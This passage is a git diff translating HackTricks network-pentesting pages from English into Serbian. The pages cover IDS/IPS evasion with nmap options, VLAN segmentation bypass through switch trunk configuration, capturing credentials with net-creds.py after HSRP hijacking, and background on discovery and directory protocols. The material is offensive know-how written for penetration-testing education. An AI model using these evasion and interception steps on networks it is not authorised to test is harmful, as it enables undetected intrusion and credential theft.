- ``` -6. Use net-creds.py or a similar utility to capture credentials from the intercepted traffic. - ```shell - sudo python2 net-creds.py -i eth0 - ``` - -Executing these steps places the attacker in a position to intercept and manipulate traffic, similar to the procedure for GLBP hijacking. This highlights the vulnerability in redundancy protocols like HSRP and the need for robust security measures. +Izvršavanje ovih koraka stavlja napadača u poziciju da presretne i manipuliše saobraćajem, slično postupku za GLBP hakovanje. Ovo ističe ranjivost redundansnih protokola poput HSRP-a i potrebu za snažnim sigurnosnim merama. -## References +## Reference - [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -Other ways to support HackTricks: +Drugi načini podrške HackTricks-u: -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ako želite da vidite **vašu kompaniju reklamiranu u HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
diff --git a/generic-methodologies-and-resources/pentesting-network/ids-evasion.md b/generic-methodologies-and-resources/pentesting-network/ids-evasion.md index 118cdaa5b..83ec81302 100644 --- a/generic-methodologies-and-resources/pentesting-network/ids-evasion.md +++ b/generic-methodologies-and-resources/pentesting-network/ids-evasion.md @@ -1,75 +1,71 @@ - -
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -Other ways to support HackTricks: +Drugi načini podrške HackTricks-u: -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ako želite videti **vašu kompaniju oglašenu na HackTricks-u** ili **preuzeti HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
-# **TTL Manipulation** +# **Manipulacija TTL-om** -Send some packets with a TTL enough to arrive to the IDS/IPS but not enough to arrive to the final system. And then, send another packets with the same sequences as the other ones so the IPS/IDS will think that they are repetitions and won't check them, but indeed they are carrying the malicious content. +Pošaljite nekoliko paketa sa TTL-om dovoljnim da stignu do IDS/IPS-a, ali nedovoljnim da stignu do krajnjeg sistema. Zatim pošaljite druge pakete sa istim sekvencama kao i prethodni, tako da će IPS/IDS misliti da su to ponavljanja i neće ih proveravati, ali zapravo nose zlonamerni sadržaj. -**Nmap option:** `--ttlvalue ` +**Nmap opcija:** `--ttlvalue ` -# Avoiding signatures +# Izbegavanje potpisa -Just add garbage data to the packets so the IPS/IDS signature is avoided. +Jednostavno dodajte smeće podatke u pakete kako bi se izbegao potpis IPS/IDS-a. -**Nmap option:** `--data-length 25` +**Nmap opcija:** `--data-length 25` -# **Fragmented Packets** +# **Fragmentirani paketi** -Just fragment the packets and send them. If the IDS/IPS doesn't have the ability to reassemble them, they will arrive to the final host. +Jednostavno fragmentirajte pakete i pošaljite ih. Ako IDS/IPS nema mogućnost da ih ponovo sastavi, stići će do krajnjeg hosta. -**Nmap option:** `-f` +**Nmap opcija:** `-f` -# **Invalid** _**checksum**_ +# **Nevažeći** _**checksum**_ -Sensors usually don't calculate checksum for performance reasons. So an attacker can send a packet that will be **interpreted by the sensor but rejected by the final host.** Example: +Senzori obično ne računaju kontrolnu sumu iz performansnih razloga. Dakle, napadač može poslati paket koji će biti **interpretiran od strane senzora, ali odbačen od strane krajnjeg hosta.** Primer: -Send a packet with the flag RST and a invalid checksum, so then, the IPS/IDS may thing that this packet is going to close the connection, but the final host will discard the packet as the checksum is invalid. +Pošaljite paket sa zastavicom RST i nevažećom kontrolnom sumom, tako da će IPS/IDS možda pomisliti da taj paket zatvara konekciju, ali će ga krajnji host odbaciti jer je kontrolna suma nevažeća. -# **Uncommon IP and TCP options** +# **Neobične IP i TCP opcije** -A sensor might disregard packets with certain flags and options set within IP and TCP headers, whereas the destination host accepts the packet upon receipt. +Senzor može ignorisati pakete sa određenim zastavicama i opcijama postavljenim u zaglavljima IP i TCP protokola, dok će odredišni host prihvatiti paket po prijemu. -# **Overlapping** +# **Preklapanje** -It is possible that when you fragment a packet, some kind of overlapping exists between packets (maybe first 8 bytes of packet 2 overlaps with last 8 bytes of packet 1, and 8 last bytes of packet 2 overlaps with first 8 bytes of packet 3). Then, if the IDS/IPS reassembles them in a different way than the final host, a different packet will be interpreted.\ -Or maybe, 2 packets with the same offset comes and the host has to decide which one it takes. +Moguće je da kada fragmentirate paket, postoji neka vrsta preklapanja između paketa (možda prvih 8 bajtova paketa 2 se preklapa sa poslednjih 8 bajtova paketa 1, a poslednjih 8 bajtova paketa 2 se preklapa sa prvih 8 bajtova paketa 3). Ako IDS/IPS sastavi pakete na drugačiji način od krajnjeg hosta, drugačije će biti interpretiran paket.\ +Ili možda, dolaze 2 paketa sa istim pomerajem i host mora da odluči koji će uzeti. -* **BSD**: It has preference for packets with smaller _offset_. For packets with same offset, it will choose the first one. -* **Linux**: Like BSD, but it prefers the last packet with the same offset. -* **First** (Windows): First value that comes, value that stays. -* **Last** (cisco): Last value that comes, value that stays. +* **BSD**: Preferira pakete sa manjim _pomerajem_. Za pakete sa istim pomerajem, izabraće prvi. +* **Linux**: Kao BSD, ali preferira poslednji paket sa istim pomerajem. +* **Prvi** (Windows): Prva vrednost koja dolazi, vrednost koja ostaje. +* **Poslednji** (cisco): Poslednja vrednost koja dolazi, vrednost koja ostaje. -# Tools +# Alati * [https://github.com/vecna/sniffjoke](https://github.com/vecna/sniffjoke)
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -Other ways to support HackTricks: +Drugi načini podrške HackTricks-u: -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ako želite videti **vašu kompaniju oglašenu na HackTricks-u** ili **preuzeti HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
- - diff --git a/generic-methodologies-and-resources/pentesting-network/lateral-vlan-segmentation-bypass.md b/generic-methodologies-and-resources/pentesting-network/lateral-vlan-segmentation-bypass.md index b8f9dc297..3d4cb8207 100644 --- a/generic-methodologies-and-resources/pentesting-network/lateral-vlan-segmentation-bypass.md +++ b/generic-methodologies-and-resources/pentesting-network/lateral-vlan-segmentation-bypass.md @@ -1,45 +1,38 @@ -# Lateral VLAN Segmentation Bypass +# Bypassiranje bočne VLAN segmentacije
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repo](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
-If direct access to a switch is available, VLAN segmentation can be bypassed. This involves reconfiguring the connected port to trunk mode, establishing virtual interfaces for target VLANs, and setting IP addresses, either dynamically (DHCP) or statically, depending on the scenario (**for further details check [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)).** +Ako je direktni pristup prekidaču dostupan, VLAN segmentacija može biti zaobiđena. To uključuje rekonfigurisanje povezanog porta u trunk mod, uspostavljanje virtuelnih interfejsa za ciljne VLAN-ove i postavljanje IP adresa, dinamički (DHCP) ili statički, u zavisnosti od scenarija (**za dalje detalje pogledajte [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)).** -Initially, identification of the specific connected port is required. This can typically be accomplished through CDP messages, or by searching for the port via the **include** mask. - -**If CDP is not operational, port identification can be attempted by searching for the MAC address**: +Prvo je potrebno identifikovati specifični povezani port. To se obično može postići putem CDP poruka ili pretragom porta putem **include** maske. +**Ako CDP nije operativan, identifikacija porta se može pokušati pretragom MAC adrese**: ``` SW1(config)# show mac address-table | include 0050.0000.0500 ``` - -Prior to switching to trunk mode, a list of existing VLANs should be compiled, and their identifiers determined. These identifiers are then assigned to the interface, enabling access to various VLANs through the trunk. The port in use, for instance, is associated with VLAN 10. - +Pre prelaska na režim trake, treba sastaviti listu postojećih VLAN-ova i odrediti njihove identifikatore. Ti identifikatori se zatim dodeljuju interfejsu, omogućavajući pristup različitim VLAN-ovima putem trake. Na primer, port koji se koristi je povezan sa VLAN-om 10. ``` SW1# show vlan brief ``` - -**Transitioning to trunk mode entails entering interface configuration mode**: - +**Prelazak na režim trunka podrazumeva ulazak u režim konfiguracije interfejsa**: ``` SW1(config)# interface GigabitEthernet 0/2 SW1(config-if)# switchport trunk encapsulation dot1q SW1(config-if)# switchport mode trunk ``` +Prebacivanje u trunk režim privremeno će prekinuti konekciju, ali se ona može kasnije obnoviti. -Switching to trunk mode will temporarily disrupt connectivity, but this can be restored subsequently. - -Virtual interfaces are then created, assigned VLAN IDs, and activated: - +Zatim se kreiraju virtualni interfejsi, dodeljuju VLAN ID-ovi i aktiviraju: ```bash sudo vconfig add eth0 10 sudo vconfig add eth0 20 @@ -50,38 +43,33 @@ sudo ifconfig eth0.20 up sudo ifconfig eth0.50 up sudo ifconfig eth0.60 up ``` - -Subsequently, an address request is made via DHCP. Alternatively, in cases where DHCP is not viable, addresses can be manually configured: - +Nakon toga, zahtev za adresu se šalje putem DHCP-a. Alternativno, u slučajevima kada DHCP nije moguć, adrese se mogu ručno konfigurisati: ```bash sudo dhclient -v eth0.10 sudo dhclient -v eth0.20 sudo dhclient -v eth0.50 sudo dhclient -v eth0.60 ``` - -Example for manually setting a static IP address on an interface (VLAN 10): - +Primer za ručno podešavanje statičke IP adrese na interfejsu (VLAN 10): ```bash sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0 ``` +Povezivost se testira pokretanjem ICMP zahteva ka podrazumevanim gateway-ima za VLAN-ove 10, 20, 50 i 60. -Connectivity is tested by initiating ICMP requests to the default gateways for VLANs 10, 20, 50, and 60. +Konačno, ovaj proces omogućava zaobilaženje VLAN segmentacije, čime se olakšava neograničen pristup bilo kojoj VLAN mreži i postavlja temelj za dalje radnje. -Ultimately, this process enables bypassing of VLAN segmentation, thereby facilitating unrestricted access to any VLAN network, and setting the stage for subsequent actions. - -## References +## Reference * [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* Da li radite u **cybersecurity kompaniji**? Želite li da vidite **vašu kompaniju reklamiranu na HackTricks-u**? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitter-u** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repo](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
diff --git a/generic-methodologies-and-resources/pentesting-network/network-protocols-explained-esp.md b/generic-methodologies-and-resources/pentesting-network/network-protocols-explained-esp.md index ee3672773..8775693ed 100644 --- a/generic-methodologies-and-resources/pentesting-network/network-protocols-explained-esp.md +++ b/generic-methodologies-and-resources/pentesting-network/network-protocols-explained-esp.md @@ -1,78 +1,70 @@ - -
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -Other ways to support HackTricks: +Drugi načini podrške HackTricks-u: -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ako želite videti **vašu kompaniju oglašenu na HackTricks-u** ili **preuzeti HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
## Multicast DNS (mDNS) -The **mDNS** protocol is designed for IP address resolution within small, local networks without a dedicated name server. It operates by multicasting a query within the subnet, prompting the host with the specified name to respond with its IP address. All devices in the subnet can then update their mDNS caches with this information. +Protokol **mDNS** je dizajniran za razrešavanje IP adresa unutar malih, lokalnih mreža bez posebnog imenskog servera. Radi tako što šalje multicast upit unutar podmreže, što podstiče host sa određenim imenom da odgovori sa svojom IP adresom. Svi uređaji u podmreži mogu ažurirati svoje mDNS keš memorije sa ovim informacijama. -Key points to note: -- **Domain Name Relinquishment**: A host can release its domain name by sending a packet with a TTL of zero. -- **Usage Restriction**: mDNS typically resolves names ending in **.local** only. Conflicts with non-mDNS hosts in this domain require network configuration adjustments. -- **Networking Details**: - - Ethernet multicast MAC addresses: IPv4 - `01:00:5E:00:00:FB`, IPv6 - `33:33:00:00:00:FB`. - - IP addresses: IPv4 - `224.0.0.251`, IPv6 - `ff02::fb`. - - Operates over UDP port 5353. - - mDNS queries are confined to the local network and do not cross routers. +Ključne tačke koje treba napomenuti: +- **Odricanje od imena domena**: Host može osloboditi svoje ime domena slanjem paketa sa TTL-om nula. +- **Ograničenje upotrebe**: mDNS obično razrešava samo imena koja se završavaju na **.local**. Konflikti sa ne-mDNS hostovima u ovom domenu zahtevaju prilagođavanje konfiguracije mreže. +- **Detalji o mrežnom protokolu**: +- Ethernet multicast MAC adrese: IPv4 - `01:00:5E:00:00:FB`, IPv6 - `33:33:00:00:00:FB`. +- IP adrese: IPv4 - `224.0.0.251`, IPv6 - `ff02::fb`. +- Radi preko UDP porta 5353. +- mDNS upiti su ograničeni na lokalnu mrežu i ne prelaze rutere. ## DNS-SD (Service Discovery) -DNS-SD is a protocol for discovering services on a network by querying specific domain names (e.g., `_printers._tcp.local`). A response includes all related domains, such as available printers in this case. A comprehensive list of service types can be found [here](http://www.dns-sd.org/ServiceTypes.html). +DNS-SD je protokol za otkrivanje usluga na mreži putem upita specifičnih imena domena (npr. `_printers._tcp.local`). Odgovor uključuje sve povezane domene, kao što su dostupni štampači u ovom slučaju. Kompletnu listu vrsta usluga možete pronaći [ovde](http://www.dns-sd.org/ServiceTypes.html). ## SSDP (Simple Service Discovery Protocol) -SSDP facilitates the discovery of network services and is primarily utilized by UPnP. It's a text-based protocol using UDP over port 1900, with multicast addressing. For IPv4, the designated multicast address is `239.255.255.250`. SSDP's foundation is [HTTPU](https://en.wikipedia.org/wiki/HTTPU), an extension of HTTP for UDP. - +SSDP olakšava otkrivanje mrežnih usluga i uglavnom se koristi od strane UPnP-a. To je tekstualni protokol koji koristi UDP preko porta 1900, sa multicast adresiranjem. Za IPv4, određena multicast adresa je `239.255.255.250`. Osnova SSDP-a je [HTTPU](https://en.wikipedia.org/wiki/HTTPU), proširenje HTTP-a za UDP. ## Web Service for Devices (WSD) -Devices connected to a network can identify available services, like printers, through the Web Service for Devices (WSD). This involves broadcasting UDP packets. Devices seeking services send requests, while service providers announce their offerings. +Uređaji povezani na mrežu mogu identifikovati dostupne usluge, poput štampača, putem Web Service for Devices (WSD). To uključuje emitovanje UDP paketa. Uređaji koji traže usluge šalju zahteve, dok pružaoci usluga objavljuju svoje ponude. ## OAuth 2.0 -OAuth 2.0 is a protocol facilitating secure, selective sharing of user information between services. For instance, it enables services to access user data from Google without multiple logins. The process involves user authentication, authorization by the user, and token generation by Google, allowing service access to the specified user data. +OAuth 2.0 je protokol koji olakšava sigurno, selektivno deljenje informacija o korisniku između usluga. Na primer, omogućava uslugama pristup korisničkim podacima sa Google-a bez višestrukih prijava. Proces uključuje autentifikaciju korisnika, autorizaciju od strane korisnika i generisanje tokena od strane Google-a, što omogućava pristup usluzi određenim korisničkim podacima. ## RADIUS -RADIUS (Remote Authentication Dial-In User Service) is a network access protocol primarily used by ISPs. It supports authentication, authorization, and accounting. User credentials are verified by a RADIUS server, potentially including network address verification for added security. Post-authentication, users receive network access and their session details are tracked for billing and statistical purposes. +RADIUS (Remote Authentication Dial-In User Service) je protokol za pristup mreži koji se uglavnom koristi od strane ISP-ova. Podržava autentifikaciju, autorizaciju i evidentiranje. Korisnički podaci se proveravaju od strane RADIUS servera, potencijalno uključujući i verifikaciju mrežne adrese radi dodatne sigurnosti. Nakon autentifikacije, korisnici dobijaju pristup mreži, a detalji njihove sesije se prate u svrhe naplate i statistike. -## SMB and NetBIOS +## SMB i NetBIOS ### SMB (Server Message Block) -SMB is a protocol for sharing files, printers, and ports. It operates directly over TCP (port 445) or via NetBIOS over TCP (ports 137, 138). This dual compatibility enhances connectivity with various devices. +SMB je protokol za deljenje datoteka, štampača i portova. Radi direktno preko TCP-a (port 445) ili putem NetBIOS-a preko TCP-a (portovi 137, 138). Ova dvostruka kompatibilnost poboljšava povezivanje sa različitim uređajima. ### NetBIOS (Network Basic Input/Output System) -NetBIOS manages network sessions and connections for resource sharing. It supports unique names for devices and group names for multiple devices, enabling targeted or broadcast messaging. Communication can be connectionless (no acknowledgment) or connection-oriented (session-based). While NetBIOS traditionally operates over protocols like IPC/IPX, it's commonly used over TCP/IP. NetBEUI, an associated protocol, is known for its speed but was also quite verbose due to broadcasting. +NetBIOS upravlja mrežnim sesijama i vezama za deljenje resursa. Podržava jedinstvena imena za uređaje i grupna imena za više uređaja, omogućavajući ciljano ili emitovano slanje poruka. Komunikacija može biti bez veze (bez potvrde) ili orijentisana ka vezi (bazirana na sesiji). Dok NetBIOS tradicionalno radi preko protokola poput IPC/IPX, često se koristi preko TCP/IP-a. NetBEUI, povezani protokol, poznat je po brzini, ali je takođe bio prilično opširan zbog emitovanja. ## LDAP (Lightweight Directory Access Protocol) -LDAP is a protocol enabling the management and access of directory information over TCP/IP. It supports various operations for querying and modifying directory information. Predominantly, it's utilized for accessing and maintaining distributed directory information services, allowing interaction with databases designed for LDAP communication. +LDAP je protokol koji omogućava upravljanje i pristupanje direktorijumskim informacijama preko TCP/IP-a. Podržava različite operacije za upitivanje i izmenu direktorijumskih informacija. Pretežno se koristi za pristupanje i održavanje distribuiranih direktorijumskih informacionih servisa, omogućavajući interakciju sa bazama podataka dizajniranim za LDAP komunikaciju. ## Active Directory (AD) -Active Directory is a network-accessible database containing objects like users, groups, privileges, and resources, facilitating centralized management of network entities. AD organizes its data into a hierarchical structure of domains, which can encompass servers, groups, and users. Subdomains allow further segmentation, each potentially maintaining its own server and user base. This structure centralizes user management, granting or restricting access to network resources. Queries can be made to retrieve specific information, like contact details, or to locate resources, like printers, within the domain. +Active Directory je baza podataka koja je dostupna putem mreže i sadrži objekte poput korisnika, grupa, privilegija i resursa, olakšavajući centralizovano upravljanje mrežnim entitetima. AD organizuje svoje podatke u hijerarhijsku strukturu domena, koja može obuhvatiti servere, grupe i korisnike. Poddomeni omogućavaju daljnju segmentaciju, pri čemu svaki može održavati sopstveni server i korisničku bazu. Ova struktura centralizuje upravljanje korisnicima, omogućavajući dodeljivanje ili ograničavanje pristupa mrežnim resursima. Mogu se postavljati upiti radi dobijanja određenih informacija, poput kontaktnih podataka, ili radi pronalaženja resursa, poput štampača, unutar domena.
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! - -Other ways to support HackTricks: - -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. - -
+Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! +Drugi načini podrške HackTricks-u: +* Ako želite videti **vašu kompaniju oglašenu na HackTricks-u** ili **preuzeti HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter diff --git a/generic-methodologies-and-resources/pentesting-network/nmap-summary-esp.md b/generic-methodologies-and-resources/pentesting-network/nmap-summary-esp.md index 91ce4bd5b..1c3496acf 100644 --- a/generic-methodologies-and-resources/pentesting-network/nmap-summary-esp.md +++ b/generic-methodologies-and-resources/pentesting-network/nmap-summary-esp.md @@ -1,150 +1,133 @@ -# Nmap Summary (ESP) +# Nmap Rezime (ESP)
